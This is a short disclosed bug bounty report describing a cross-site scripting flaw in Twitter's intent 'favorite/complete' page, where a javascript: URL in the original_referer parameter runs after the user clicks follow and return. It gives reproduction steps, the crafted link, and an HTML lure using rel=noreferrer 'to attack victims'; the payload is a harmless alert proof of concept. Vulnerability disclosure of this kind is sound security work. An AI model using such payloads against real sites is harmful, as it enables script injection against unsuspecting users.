X / xAI · Report #50134
XSS in original referrer after follow
Validstatus
5upvotes
9 Mar 2015disclosed
How it was found
Hey hi,
There is a XSS in the intent functionality ,
Steps to reproduce
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copy paste the following Link https://twitter.com/intent/favorite/complete?tweet_id=572435913768366080&already_favorited=false&original_referer=javascript:alert%281%29;
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Click follow
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now click return to previous site, you will see a xss triggered.
Requirements
- Make sure you pick a tweet of a user , that you don't follow.
- to execute you need to send a null referrer.
Here is the html code to attack victims
`<html> <a href="https://twitter.com/intent/favorite/complete?tweet_id=572435913768366080&already_favorited=false&original_referer=javascript:alert%281%29; " rel="noreferrer">click here and follow</a>
</html>`a rel=noreferrer will do our work.
Regards Wesecureapp